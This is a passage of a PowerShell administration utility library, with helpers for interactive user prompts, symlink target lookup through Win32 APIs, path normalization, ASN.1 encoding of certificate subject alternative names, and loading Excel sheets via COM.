    { 'false', 'no', 'ne', 'f', 'n', '0' -contains $_ } { $defaultVal = 'false' }
  }

  [bool] $autoDefaultValid = (Is-NonNull $autoDefault) -and (Is-NonNull $autoDefault.Value) -and ($autoDefault.Value -is 'bool')
  [bool] $autoDefaultRequested = $false
  if ($autoDefaultValid) {

    $autoDefaultRequested = $autoDefault.Value
  }

  [string] $userSupplied = $null
  if ($autoDefaultRequested) {

    $userSupplied = $defaultVal
    Write-Host ("`r`n{0}? = Default: {1}" -f $query, $defaultVal)
 
  } else {

    do {
    
      DBGSTART
      $userSupplied = ([string] (Read-Host ("`r`n{0}? (default: {1}) (True/T/Yes/Y/Ano/A/1 - False/F/No/N/Ne/0)" -f $query, $defaultVal))).Trim()
      DBGEND

      if ($userSupplied -eq '') { $userSupplied = $defaultVal }

      switch ($userSupplied) {

        { 'true', 'yes', 'ano', 't', 'y', 'a', '1' -contains $_ } { $userSupplied = 'true' }
        { 'false', 'no', 'ne', 'f', 'n', '0' -contains $_ } { $userSupplied = 'false' }
      }
  
    } while ((($userSupplied -ne 'true') -and ($userSupplied -ne 'false')) -and ($autoDefaultValid -and ($userSupplied -ne $global:askerAutoDefaultSequence)))


    if ($autoDefaultValid -and ($userSupplied -eq $global:askerAutoDefaultSequence)) {

      $autoDefault.Value = $true
      $userSupplied = $defaultVal
    }
  }

  #DBG ('User supplied: {0}' -f $userSupplied)
  Write-Host

  # note that we return string actually
  return $userSupplied
}


function global:Add-AskerChoice ([System.Collections.ArrayList] $choices, [string] $name, [string] $id, [string] $description, [string] $group)
{
  $newChoice = New-Object PSObject

  Add-Member -Input $newChoice -MemberType NoteProperty -Name Name -Value $name
  Add-Member -Input $newChoice -MemberType NoteProperty -Name Id -Value $id
  Add-Member -Input $newChoice -MemberType NoteProperty -Name Description -Value $description
  Add-Member -Input $newChoice -MemberType NoteProperty -Name Group -Value $group

  [void] $choices.Add($newChoice)
}


function global:Get-AskerChoice ([hashtable] $choicesHash)
{
  [System.Collections.ArrayList] $choices = @()

  foreach ($oneChoiceHash in $choicesHash.Keys) {

    Add-AskerChoice $choices $choicesHash[$oneChoiceHash] $oneChoiceHash
  }

  return ,$choices
}


function global:Ask-UserForValueWithChoices ([string] $query, [System.Collections.ArrayList] $choices, [string] $defaultChoiceId, [bool] $allowCustomEntry = $false, [ref] $autoDefault)
{
  [bool] $autoDefaultValid = (Is-NonNull $autoDefault) -and (Is-NonNull $autoDefault.Value) -and ($autoDefault.Value -is 'bool') -and ((-not $mustBeSpecified) -or (Is-ValidString $defaultVal))
  [bool] $autoDefaultRequested = $false
  if ($autoDefaultValid) {

    $autoDefaultRequested = $autoDefault.Value
  }


  [string] $userSupplied = ''

  Write-Host "`r`n$($query)?`r`n"


  if (($choices.Count -gt 0) -and ($choices[0] -is 'string')) {

    [Collections.ArrayList] $newChoices = @()

    foreach ($oneChoice in $choices) {

      [string[]] $oneChoiceParams = $oneChoice.Split(';')
      $oneNewChoice = New-Object PSCustomObject
      Add-Member -Input $oneNewChoice -MemberType NoteProperty -Name Id -Value $oneChoiceParams[0]
      Add-Member -Input $oneNewChoice -MemberType NoteProperty -Name Name -Value $oneChoiceParams[0]

      if ($oneChoiceParams.Length -gt 1) { 

        Add-Member -Input $oneNewChoice -MemberType NoteProperty -Name Description -Value $oneChoiceParams[1]
      }

      [void] $newChoices.Add($oneNewChoice)
    }

    $choices = $newChoices
  }


  $choiceIdPad = 0
  $groupsPresent = $false
  foreach ($oneChoice in $choices) {

    if (Is-ValidString $oneChoice.Id) {

      $choiceIdPad = [Math]::Max($choiceIdPad, $oneChoice.Id.Length)

      if ((Is-ValidString $defaultChoiceId) -and ($oneChoice.Id -eq $defaultChoiceId)) {

        $defaultChoice = $oneChoice
      }
    }

    if (Is-ValidString $oneChoice.Group) {

      $groupsPresent = $true
    }
  }

<#    
  if ($groupsPresent) {

    $choices = $choices | Sort-Object Group
  }
#>

  $choiceIdPad ++

  $lastGroup = $global:emptyValueMarker
  foreach ($oneChoice in $choices) {

    if ($groupsPresent -and (Is-ValidString $oneChoice.Group) -and ($lastGroup -ne $oneChoice.Group)) {

      Write-Host ('[{0}]' -f $oneChoice.Group)
      $lastGroup = $oneChoice.Group
    }


    $choiceStr = $oneChoice.Name


    if (Is-ValidString $oneChoice.Id) {

      $choiceStr = "{0,$choiceIdPad} = {1}" -f $oneChoice.Id, $choiceStr

    } else {

      $choiceStr = "$(' ' * ($choiceIdPad + 3)){0}" -f $choiceStr
    }


    if (Is-ValidString $oneChoice.Description) {

      $choiceStr = '{0} ({1})' -f $choiceStr, $oneChoice.Description
    }


    Write-Host $choiceStr
  }

    
  do {

    if (Is-ValidString $defaultChoice.Name) {

      if ($autoDefaultRequested) {

        Write-Host ("`r`n{0}? = Default: {1})" -f $query, $defaultChoice.Name)
        $userSuppliedExact = $defaultChoice.Name

      } else {

        DBGSTART
        $userSuppliedExact = ([string] (Read-Host ("`r`n{0}? (default: {1})" -f $query, $defaultChoice.Name))).Trim()
        DBGEND
      }
    
    } else {

      DBGSTART
      $userSuppliedExact = ([string] (Read-Host ("`r`n{0}?" -f $query))).Trim()
      DBGEND
    }


    if (($userSuppliedExact -eq '') -or ($userSuppliedExact -eq $global:askerAutoDefaultSequence)) { $userSupplied = $defaultChoice.Name }
    if (($autoDefaultValid) -and ($userSuppliedExact -eq $global:askerAutoDefaultSequence)) {

      $autoDefault.Value = $true
    }


    if (Is-EmptyString $userSupplied) {

      foreach ($oneChoice in $choices) {

        if ((Is-ValidString $oneChoice.Id) -and ($oneChoice.Id.Trim() -eq $userSuppliedExact)) {

          $userSupplied = $oneChoice.Name
          break
        }
      }
    }
  
    if (Is-EmptyString $userSupplied) {

      foreach ($oneChoice in $choices) {

        if ($oneChoice.Name.Trim() -eq $userSuppliedExact) {

          $userSupplied = $oneChoice.Name
          break
        }
      }
    }

    if ((Is-EmptyString $userSupplied) -and $allowCustomEntry) {

      $userSupplied = $userSuppliedExact
    }
  

  } while (Is-EmptyString $userSupplied)

  #DBG ('User supplied: {0}' -f $userSupplied)
  Write-Host

  return $userSupplied
}


function global:Ask-UserForValue ([string] $query, [string] $defaultVal, [bool] $mustBeSpecified = $true, [ref] $autoDefault, [scriptblock] $validationCode, [switch] $pwdPrompt)
{
  [bool] $autoDefaultValid = (Is-NonNull $autoDefault) -and (Is-NonNull $autoDefault.Value) -and ($autoDefault.Value -is 'bool') -and ((-not $mustBeSpecified) -or (Is-ValidString $defaultVal))
  [bool] $autoDefaultRequested = $false
  if ($autoDefaultValid) {

    $autoDefaultRequested = $autoDefault.Value
  }

  [string] $userSupplied = $null
  if ($autoDefaultRequested) {

    $userSupplied = $defaultVal
    Write-Host ("`r`n{0}? = Default: {1}" -f $query, $defaultVal)
 
  } else {

    do {

      do {

        [string] $defaultValToDisplay = ''

        if (Is-EmptyString $defaultVal) {

          $defaultValToDisplay = '(default: [nothing])'
  
        } else {

          $defaultValToDisplay = '(default: {0})' -f $defaultVal
        }

        if ($mustBeSpecified) {

          $defaultValToDisplay = '(REQUIRED) ' + $defaultValToDisplay
        }

        if (-not $pwdPrompt) {
                
          DBGSTART
          $userSupplied = ([string] (Read-Host ("`r`n{0}? {1}" -f $query, $defaultValToDisplay))).Trim()
          DBGEND

        } else {

          DBGSTART
          $userSupplied = (New-Object System.Management.Automation.PSCredential ('DummyLogin', (Read-Host ("`r`n{0}? {1}" -f $query, $defaultValToDisplay) -AsSecureString))).GetNetworkCredential().Password
          DBGEND
        }

        if (Is-EmptyString $userSupplied) { $userSupplied = $defaultVal }
  
      } while ($mustBeSpecified -and (Is-EmptyString $userSupplied))
      #(($mustBeSpecified -and (Is-EmptyString $userSupplied)) -or ($autoDefaultValid -and ($userSupplied -ne $global:askerAutoDefaultSequence)))

      if ($autoDefaultValid -and ($userSupplied -eq $global:askerAutoDefaultSequence)) {

        $autoDefault.Value = $true
        $userSupplied = $defaultVal
      }

        
      [bool] $canLeave = $true
      if (Is-NonNull $validationCode) {

        $canLeave = Invoke-Command -ScriptBlock $validationCode -ArgumentList $userSupplied
      }
    
    } while (-not $canLeave)
  }

  #DBG ('User supplied: {0}' -f $userSupplied)
  Write-Host

  return $userSupplied
}


function global:Ask-UserForInt ([string] $query, [int] $defaultVal, [ref] $autoDefault)
{
  [bool] $autoDefaultValid = (Is-NonNull $autoDefault) -and (Is-NonNull $autoDefault.Value) -and ($autoDefault.Value -is 'bool')
  [bool] $autoDefaultRequested = $false
  if ($autoDefaultValid) {

    $autoDefaultRequested = $autoDefault.Value
  }

  [string] $userSupplied = $null
  if ($autoDefaultRequested) {

    $userSupplied = $defaultVal
    Write-Host ("`r`n{0}? = Default: {1}" -f $query, $defaultVal)
 
  } else {

    [bool] $inputIntParsable = $false
    do {

      DBGSTART
      $userSupplied = ([string] (Read-Host ("`r`n{0}? (default: {1})" -f $query, $defaultVal))).Trim()
      DBGEND

      if (Is-EmptyString $userSupplied) {
    
        $userSupplied = $defaultVal
      }
      
      $inputIntParsable = [int]::TryParse($userSupplied, ([ref] $null))

    } while ((-not $inputIntParsable) -and ($autoDefaultValid -and ($userSupplied -ne $global:askerAutoDefaultSequence)))


    if ($autoDefaultValid -and ($userSupplied -eq $global:askerAutoDefaultSequence)) {

      $autoDefault.Value = $true
      $userSupplied = $defaultVal
    }
  }

  #DBG ('User supplied: {0}' -f $userSupplied)
  Write-Host

  DBGSTART
  [int] $userSuppliedInt = [int]::Parse($userSupplied)
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND

  return ([string] $userSuppliedInt)
}


function global:Get-SymbolicLinkTarget ([string] $symLink, [bool] $doNotAssertIfNotSymlink)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  
  [string] $target = ''
  
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $symLink }
  DBGIF $MyInvocation.MyCommand.Name { -not (Test-Path -LiteralPath $symLink) }

  DBG ('Open the assumed symlink to verify it is really a symlink')
  DBGSTART
  $itemSymLink = $null
  $itemSymLink = Get-Item $symLink
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $itemSymLink }

  [bool] $isSymLink = [bool] (($itemSymLink.Attributes -band [System.IO.FileAttributes]::ReparsePoint) -ne 0)
  DBGIF $MyInvocation.MyCommand.Name { (-not $doNotAssertIfNotSymlink) -and (-not $isSymLink) }

  if ((Is-ValidString $symLink) -and (Test-Path -LiteralPath $symLink) -and ($isSymLink)) {

    Define-Win32Api
 
    DBG ('Open the handle for the symlink: {0}' -f $symLink)
    DBGSTART
    #[Microsoft.Win32.SafeHandles.SafeFileHandle] $handleSymLink = $null
    [IntPtr] $handleSymLink = [IntPtr]::Zero
    $handleSymLink = [Sevecek.Win32Api.Kernel32]::CreateFile($symLink, 0, 2, [IntPtr]::Zero, [Sevecek.Win32Api.Kernel32]::CREATION_DISPOSITION_OPEN_EXISTING, [Sevecek.Win32Api.Kernel32]::FILE_FLAG_BACKUP_SEMANTICS, [IntPtr]::Zero)
    $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError()
    #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBG ('WIN32API handle opened: 0x{0:X8} | {1}' -f $handleSymLink, $handleSymLink)
    DBGIF $MyInvocation.MyCommand.Name { -not (Is-ValidHandle $handleSymLink) }

    if (Is-ValidHandle $handleSymLink) {

      DBG ('Get the target for the symlink')
      DBGSTART
      [System.Text.StringBuilder] $targetPath = New-Object System.Text.StringBuilder 512
      #[int] $resultSize = [Sevecek.Win32Api.Kernel32]::GetFinalPathNameByHandle($handleSymLink.DangerousGetHandle(), $targetPath, $targetPath.Capacity, 0);
      [int] $resultSize = [Sevecek.Win32Api.Kernel32]::GetFinalPathNameByHandle($handleSymLink, $targetPath, $targetPath.Capacity, 0);
      $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError()
      #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
      DBG ('WIN32API result size: {0}' -f $resultSize)
      DBGIF $MyInvocation.MyCommand.Name { $resultSize -le 0 }

      [string] $ntTargetPath = ''

      if ($resultSize -gt 0) {

        $ntTargetPath = $targetPath.ToString()
        DBG ('The symlink target NT path determined: {0}' -f $ntTargetPath)
        DBGIF ('Weird NT path: {0}' -f $ntTargetPath) { $ntTargetPath -notlike '\\[?]\[a-z]:\*' }

        if ($ntTargetPath -like '\\[?]\[a-z]:\*') {

          $target = $ntTargetPath.SubString(4)
          DBG ('The symlink target path determined as: {0} => {1}' -f $symLink, $target)
        }
      }

      DBG ('Closing the symlink handle: {0}' -f $handleSymLink)
      DBGSTART
      [bool] $resBool = [Sevecek.Win32Api.Kernel32]::CloseHandle($handleSymLink)
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
      DBG ('WIN32API Result: {0}' -f $resBool)
      DBGIF $MyInvocation.MyCommand.Name { -not $resBool }
    }
  }

  if ($doNotAssertIfNotSymlink -and (Is-ValidString $symLink) -and (Test-Path -LiteralPath $symLink) -and (-not $isSymLink)) {
   
    DBG ('The file is not symlink')
  
  } else {

    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $target }
  }

  return $target
}


function global:Canonicalize-FileName ([string] $name, [bool] $mightStartWithDisk, [bool] $spacesAllowed, [bool] $trimDiacritics)
{
#
# Note: this normalization function is used as one of the very first 
#       functions so do not count on DBGIF and such functions yet
# Note: just as a matter of finding this function, the following acronyms follow
#       Normalize-FileName
#       Normalize-Ntfs
#

  [string] $outString = $null

  if ($mightStartWithDisk -and ($name -match '\A[a-zA-Z]\:.*')) {

    $outString = 'Disk{0}{1}' -f $name.SubString(0, 1).ToUpper(), $global:canonicalizePathReplacement
    $name = $name.SubString($name.IndexOf(':') + 1)
  }

  $noSpecials = [RegEx]::Replace($name, $global:invalidNtfsChars, $global:canonicalizePathReplacement)

  if (-not $spacesAllowed) {

    $noSpecials = [RegEx]::Replace($noSpecials, ' ', $global:canonicalizePathReplacement)
  }

  $outString += $noSpecials
  $outString = [RegEx]::Replace($outString, ('{0}{0}+' -f $global:canonicalizePathReplacement), $global:canonicalizePathReplacement).Trim($global:canonicalizePathReplacement)

  if ($trimDiacritics) {

    $outString = Trim-Diacritics $outString
  }

  return $outString
}


function global:Resolve-PathSafe ([string] $path, [bool] $doNotAssert)
{
#
# Note: this is used to normalize paths such as .\ or c:\test\something\..\againUp\down
#       because Reslove-Path requires the path to exist
#       while the [System.IO.Path]::GetFullPath() uses process's own current directory
#       instead of the PowerShell's Set-Location/Get-Location which can differ for several run-spaces of PowerShell
#       On the other hand, the ::GetFullPath() does not resolve wildcard paths and returns $null
#
# Note: this normalization function is used as one of the very first 
#       functions so do not count on DBGIF and such functions yet
#
  [string] $currentLocation = ''
  [string] $currentDirectory = ''
  [string] $resolvedPath = ''

  try {

    $currentLocation = Get-Location | Select -Expand ProviderPath
    $currentDirectory = [System.IO.Directory]::GetCurrentDirectory()

    [System.IO.Directory]::SetCurrentDirectory($currentLocation)


    [string] $pathToResolve = $path.Trim()
    [string] $remainingPath = ''

    if (-not $doNotAssert) {

      DBGIF ("Weird path to resolve: $pathToResolve" ) { $pathToResolve -eq $global:emptyValueMarker }
      DBGIF ("Weird path to resolve: $pathToResolve" ) { Is-EmptyString $pathToResolve }
      DBGIF ("Weird path to resolve: $pathToResolve" ) { Is-EmptyString $env:temp }
      DBGIF ("Weird path to resolve: $pathToResolve" ) { $pathToResolve.Replace('*','') -like '*\.' }
      DBGIF ("Weird path to resolve: $pathToResolve" ) { $pathToResolve.Replace('*','') -like '*\.\*' }
      DBGIF ("Weird path to resolve: $pathToResolve" ) { $pathToResolve.Replace('*','') -like '*\..' }
      DBGIF ("Weird path to resolve: $pathToResolve" ) { ($pathToResolve.Replace('*','') -like '*\..\*') -and ($pathToResolve.Replace('*','') -notlike '..\..\*') }
      DBGIF ("Weird path to resolve: $pathToResolve" ) { $pathToResolve.Length -gt 250 }  # Note: just curious
      # Note: just for reference here
      #       $global:invalidNtfsChars = '[<>:"/\\|?*]'
      DBGIF ("Weird path to resolve: $pathToResolve" ) { ($pathToResolve.Length -gt 2) -and $pathToResolve.SubString(2).Contains(':') }
      DBGIF ("Weird path to resolve: $pathToResolve" ) { $pathToResolve -like '*[<>"/|]*' }
      DBGIF ("Weird path to resolve: $pathToResolve" ) { $pathToResolve -like ':*' }
      DBGIF ("Weird path to resolve: $pathToResolve" ) { ($pathToResolve.Replace('*','').Length -gt 1) -and ($pathToResolve.Replace('*','').SubString(1) -like '*\\*') }
      DBGIF ("Weird path to resolve: $pathToResolve" ) { ($pathToResolve -like '\\*') -and ($pathToResolve -notlike '\\*\*') }
    }


    # Note: do not bother with PowerShell wildcard characters of []
    #       these go well with the ::GetFullPath() method
    if ($pathToResolve.Contains('*') -or $pathToResolve.Contains('?')) {

      $asteriskIdx = $pathToResolve.IndexOf('*')
      $questionIdx = $pathToResolve.IndexOf('?')

      if ($asteriskIdx -lt 0) { $asteriskIdx = [int]::MaxValue }
      if ($questionIdx -lt 0) { $questionIdx = [int]::MaxValue }
      
      $remainingPath = $pathToResolve.Substring([Math]::Min($asteriskIdx, $questionIdx))
      $pathToResolve = $pathToResolve.Substring(0, [Math]::Min($asteriskIdx, $questionIdx))

      if (-not $doNotAssert) {

        DBGIF ("Weird path after wildcard strip: $path | $remainingPath" ) { $pathToResolve -eq '' }
        DBGIF ("Weird path after wildcard strip: $path | $remainingPath" ) { $remainingPath -eq '' }
      }
    }


    if ($pathToResolve -eq '') {

      # Note: this is the most secure place where to redirect invalid callers
      $pathToResolve = $env:temp
    }


    $resolvedPath = [System.IO.Path]::GetFullPath($pathToResolve)

    if ($remainingPath -ne '') {

      $resolvedPath = $resolvedPath + $remainingPath
    }
  }

  catch {

    # Note: just ignore anything and return whatever is at least secure and valid
  }

  finally {

    if ($currentDirectory -ne '') {

      [System.IO.Directory]::SetCurrentDirectory($currentDirectory)
    }

    if ($currentLocation -ne '') {

      Set-Location $currentLocation
    }
  }

  
  $resolvedPath = $resolvedPath.Trim()

  if (-not $doNotAssert) {

    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $resolvedPath }
  }

  if ($resolvedPath -eq '') {

    $resolvedPath = $env:temp
  }

  return $resolvedPath
}




function global:Get-Asn1Number ([int] $no) 
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [byte[]] $noBytes = [BitConverter]::GetBytes($no)

  $i = ($noBytes.Length - 1)
  while ($noBytes[$i] -eq 0) { $i -- }

  $noBytesNonZeroReverse = $noBytes[$i..0]

  [System.Collections.ArrayList] $asnNo = @()
  if ($no -le 127) { 

    [void] $asnNo.AddRange($noBytesNonZeroReverse)

  } else {

    [void] $asnNo.Add(128 + $noBytesNonZeroReverse.Length)
    [void] $asnNo.AddRange($noBytesNonZeroReverse)
  }

  DBG ('ASN.1 number result: {0} | {1}' -f $no, [BitConverter]::ToString($asnNo))

  return ,$asnNo
}


function global:ConvertTo-Asn1Bytes ([string[]] $sans, [bool] $sourceIsBase64, [bool] $doNotGroupTo30)
# in case $sourceIsBase64 = $true, all the $sans MUST contain flags!
# this cannot be verified inside on 100%, so take care
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [System.Collections.ArrayList] $asn = @()

  if (-not $doNotGroupTo30) {

    [void] $asn.Add(0x30)
  }

  [System.Collections.ArrayList] $sansHex = @()

  foreach ($oneSAN in $sans) {

    $oneSANtype = Get-ValueFlags $oneSAN
    $oneSANvalue = Strip-ValueFlags $oneSAN

    DBGIF $MyInvocation.MyCommand.Name { $sourceIsBase64 -and (Is-EmptyString $oneSANtype) }

    if (Is-EmptyString $oneSANtype) { $oneSANtype = '82' }
    # 82 - context specific, DNS Name by default
    # 06 - OID
    # A0 - group
    # 0C - UTF-8 string

    [System.Collections.ArrayList] $sanHex = @([byte]::Parse($oneSANtype, [System.Globalization.NumberStyles]::HexNumber))

    if (-not $sourceIsBase64) {

      [void] $sanHex.AddRange((Get-Asn1Number $oneSANvalue.Length))

      for ($i = 0; $i -lt $oneSANvalue.Length; $i ++) { 

        [void] $sanHex.Add(([byte] $oneSANvalue[$i]))
      }

    } else {

      [byte[]] $oneSANvalueBytes = [Convert]::FromBase64String($oneSANvalue)
      [void] $sanHex.AddRange((Get-Asn1Number $oneSANvalueBytes.Length))
      [void] $sanHex.AddRange($oneSANvalueBytes)
    }

    DBG ('One ASN.1 string: {0}' -f [BitConverter]::ToString($sanHex))
    [void] $sansHex.AddRange($sanHex)
  }


  if (-not $doNotGroupTo30) {

    [void] $asn.AddRange((Get-Asn1Number $sansHex.Count))
  }

  [void] $asn.AddRange($sansHex)

  DBG ('Full ASN.1 string: {0}' -f [BitConverter]::ToString($asn))
  $outBase64 = [Convert]::ToBase64String($asn)
  DBG ('ASN.1 output in Base64: {0}' -f $outBase64)

  return $outBase64
}


function global:Get-Asn1SubjectAlternativeNameElement([string] $san, [string] $sanType)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [string] $outSAN = $null

  if ($sanType -eq 'upn') {

    # UPN = A0-xx-[[06-yy-1.3.6.1.4.1.311.20.2.3]-[A0-zz-[0C-uu-login@domain.suffix]]]
    # UPN = .............2B-06-01-04-01-82-37-14-02-03................................
    # UPN = .............KwYBBAGCNxQCAw==.............................................

    $sub0C = ConvertTo-Asn1Bytes ('0C${0}' -f $san) -sourceIsBase64 $false -doNotGroupTo30 $true
    $subA0 = ConvertTo-Asn1Bytes ('A0${0}' -f $sub0C) -sourceIsBase64 $true -doNotGroupTo30 $true
    $sub06 = ConvertTo-Asn1Bytes '06$KwYBBAGCNxQCAw==' -sourceIsBase64 $true -doNotGroupTo30 $true
    [System.Collections.ArrayList] $sub06A0bytes = @()
    $sub06A0bytes.AddRange([Convert]::FromBase64String($sub06))
    $sub06A0bytes.AddRange([Convert]::FromBase64String($subA0))
    $sub06A0 = [Convert]::ToBase64String(([byte[]] $sub06A0bytes))
    $wholeA0 = ConvertTo-Asn1Bytes ('A0${0}' -f $sub06A0) -sourceIsBase64 $true -doNotGroupTo30 $true

    $outSAN = $wholeA0
  }

  if ($sanType -eq 'dns') {

    $outSAN = ConvertTo-Asn1Bytes $san -sourceIsBase64 $false -doNotGroupTo30 $false
  }

  DBG ('SAN element: {0} = {1}' -f $sanType, $outSAN)

  return $outSAN
}


function global:Get-Asn1SubjectAlternativeNames([string] $sans)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [string] $outSAN = $null

  foreach ($oneSAN in $sans) {

    
  }

  DBG ('Full SAN package: {0} = {1}' -f $sanType, $outSAN)

  return $outSAN
}


function global:Load-Xls ([string] $xlsFile, [int] $sheet = 1, [int] $headerRow = 1, [int] $headerCol = 1, [int] $keyColumn = 1, [hashtable] $replaceValues)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $xlsFile }
  DBGIF $MyInvocation.MyCommand.Name { -not (Test-Path $xlsFile) }

  [System.Collections.ArrayList] $comList = @()
  [System.Collections.ArrayList] $outList = @()

  if ((Is-ValidString $xlsFile) -and (Test-Path $xlsFile)) {

    $xlsFileFullPath = (Get-Item $xlsFile).FullName
    DBG ('Will open XLS file: {0}' -f $xlsFileFullPath)

    DBG ('Load Excel')
    DBGSTART
    $excel = New-Object -ComObject Excel.Application
    [void] $comList.Add($excel)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBGIF $MyInvocation.MyCommand.Name { Is-Null $excel }

    if (Is-NonNull $excel) {

      DBGSTART
      $usCulture = New-Object System.Globalization.CultureInfo 'en-US'
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND

      #
      # There is the known error/bug: Old format or invalid type library. (Exception from HRESULT: 0x80028018 (TYPE_E_INVDATAREAD))
      # http://support.microsoft.com/default.aspx?scid=kb;en-us;320369
      #
      DBGSTART
      #$wkBook = $excel.Workbooks.psbase.GetType().InvokeMember('Open', [Reflection.BindingFlags]::InvokeMethod, $null, $excel.Workbooks, $xlsFileFullPath, $usCulture)
      # 
      # Yet another error "Object does not match target type"
      #
      $wkBook = $excel.Workbooks.psobject.BaseObject.GetType().InvokeMember('Open', [Reflection.BindingFlags]::InvokeMethod, $null, $excel.Workbooks.psobject.BaseObject, $xlsFileFullPath, $usCulture)
      [void] $comList.Add($wkBook)
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
      DBGIF $MyInvocation.MyCommand.Name { Is-Null $wkBook }

      if (Is-NonNull $wkBook) {

        DBG ('Determine table columns: sheet = {3} | headerRow = {0} | headerCol = {1} | keyCol = {2}' -f $headerRow, $headerCol, ($headerCol + $keyColumn - 1), $sheet)

        $colNumber = 0
        [System.Collections.ArrayList] $columns = @()

        DBGSTART
        $workSheets = $wkBook.Worksheets
        [void] $comList.Add($workSheets)
        DBGEND
        DBGIF $MyInvocation.MyCommand.Name { Is-Null $wkBook }

        DBGSTART
        $ourSheet = $workSheets.Item($sheet)
        [void] $comList.Add($ourSheet)
        DBGEND
        DBGIF $MyInvocation.MyCommand.Name { Is-Null $wkBook }

        DBGSTART
        $cells = $ourSheet.Cells
        [void] $comList.Add($cells)
        DBGEND
        DBGIF $MyInvocation.MyCommand.Name { Is-Null $wkBook }


        while ($true) {

          DBG ('Column header at: {0}' -f $colNumber)
          DBGSTART
          # Column names should not contain formulas, so we read them raw
          # which also does not require to InvokeMember on the Value property
          [string] $oneColName = Trim-Safe $cells.Item($headerRow, ($headerCol + $colNumber)).FormulaLocal
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND

          $colNumber ++

          if (Is-ValidString $oneColName) {

            DBG ('One column: {0}' -f $oneColName)
            [void] $columns.Add($oneColName)

          } else {

            break
          }
        }

        DBG ('Table columns: {0} | {1}' -f $columns.Count, ($columns -join ','))

        DBG ('Get table height')
<#
        $rowNumber = 0
        while ($true) {

          DBGSTART
          [string] $oneColVal = Trim-Safe $cells.Item($headerRow + 1 + $rowNumber, ($headerCol + $keyColumn - 1)).FormulaLocal
          DBGER $MyInvocation.MyCommand.Name $error
          DBGEND

          if (Is-EmptyString $oneColVal) {

            break
          }

          $rowNumber ++

          if (($rowNumber % 100) -eq 0) {

            DBG ('Reaching row: {0}' -f $rowNumber)
          }
        }
#>
        # XlDirection Enumeration - xlUp - 4162 Up
        # http://msdn.microsoft.com/en-us/library/bb241212(office.12).aspx
        DBGSTART
        $lastRowNumber = $cells.Item(65536, ($headerCol + $keyColumn - 1)).End(-4162).Row
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
        $rowNumber = $lastRowNumber - $headerRow

        DBG ('Table data dimensions: left = {0} | top = {1} | right = {2} | botton = {3}' -f $headerCol, ($headerRow + 1), ($headerCol + $columns.Count - 1), ($headerRow + $rowNumber))


        DBG ('Load the data: items = {0}' -f $rowNumber)

        for ($row = 1; $row -le $rowNumber ; $row ++) {

          $newItem = New-Object PSCustomObject

          for ($col = 1; $col -le $columns.Count; $col ++) {

            DBGSTART
            $item = $cells.Item(($row + $headerRow), ($col + $headerCol - 1))
            [void] $comList.Add($item)
            DBGER $MyInvocation.MyCommand.Name $error
            DBGEND

            DBGSTART
            [string] $oneColVal = Trim-Safe $item.psobject.BaseObject.GetType().InvokeMember('Value', [Reflection.BindingFlags]::GetProperty, $null, $item.psobject.BaseObject, $null, $usCulture)
            DBGER $MyInvocation.MyCommand.Name $error
            DBGEND

            if ((Is-NonNull $replaceValues) -and (Contains-Safe $replaceValues.Keys $oneColVal)) {

              $oneColVal = $replaceValues[$oneColVal]
            }

            Add-Member -InputObject $newItem -MemberType NoteProperty -Name $columns[($col - 1)] -Value $oneColVal
          }

          if (($row % 50) -eq 0) {

            DBG ('Reached row: {0}' -f $row)
          }

          [void] $outList.Add($newItem)
        }


        DBG ('Cleanup workbook')
        DBGSTART
        #$wkBook.Close()
        [void] $wkBook.psobject.BaseObject.GetType().InvokeMember('Close', [Reflection.BindingFlags]::InvokeMethod, $null, $wkBook.psobject.BaseObject, $null, $usCulture)
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
      }

      DBG ('Quit Excel')
      DBGSTART
      #[void] $excel.Application.Quit()
      [void] $excel.Quit()
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND

      Release-ComList ([ref] $comList)
    }
  }


  DBG ('Returning items: {0}' -f $outList.Count)
  return ,$outList
}


